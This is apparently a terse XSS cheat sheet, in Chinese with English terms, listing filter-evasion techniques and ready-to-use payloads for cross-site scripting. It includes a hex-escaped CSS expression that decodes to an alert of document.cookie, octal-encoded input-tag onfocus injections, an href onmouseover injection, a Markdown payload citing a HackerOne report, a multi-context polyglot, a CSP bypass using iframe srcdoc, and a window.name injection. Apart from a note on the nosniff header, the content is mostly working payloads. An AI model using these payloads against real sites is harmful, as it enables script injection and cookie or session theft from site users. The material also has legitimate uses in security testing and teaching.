0x00 Encoding
URL Encode、HTML Entity、JS (Octal、Hexa、Unicode)
0x01 Content-Type: text/plain;
浏览器不解析JS XSS, Extensions and Content-Types
vul: IE 构造 eml 跨域加载 text/plain
XSS 0day-textplain-considered-harmful
注意: text/plain
参数中可可注入
0x02 在响应中,Content-Type
标头告诉客户端实际返回的内容的内容类型。在缺失 MIME 类型或客户端认为文件设置了错误的 MIME 类型时,浏览器可能会通过查看资源来进行MIME嗅探。每一个浏览器在不同的情况下会执行不同的操作。为了防止这种行为,可以将标题 X-Content-Type-Options
设置为 nosniff
0x03 css expression 的XSS css里,允许使用转义字符, + ascii16进制形式
expr\65ssion\28%20eval\28\27\69\66\28\21\77\69\6e\64\6f\77\2e\78\29\7b\61\6c\65\72\74\28\64\6f\63\75\6d\65\6e\74\2e\63\6f\6f\6b\69\65\29\3b\77\69\6e\64\6f\77\2e\78\3d\31\7d\27\29\29
0x04 输出在HTMl属性例子如下:<HTML标签 onXXXX="...[输出在这里].."> <a href="javascript:[输出在这里]">xxxx </a>
0x05 存储xss
注册页面的url参数中 xss payload 会存储在Cookie中。
0x06 Markdown XSS
https://hackerone.com/reports/299728
payload:</http://<?php\><\h1\><script:script>confirm(2)
0x07 input 标签 XSS
" autofocus onfocus=window.location="\152\141\166\141\163\143\162\151\160\164\072\141\154\145\162\164\050\061\051" a="
" onfocus="alert(1)" autofocus="
0x08 <a href 标签 XSS
“:” with : or %26colon;
<a href='#user=user=' onmouseover=alert()//'>Welcome</a>!!
0x09 polygot
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
0x10 bypass csp
<iframe srcdoc="<script src='http://127.0.0.1/1.js'></script>"></iframe>
0x11 window.name
var victim= window.open('http://example.com/vulnerable', '<script>alert("boom");<\/script>');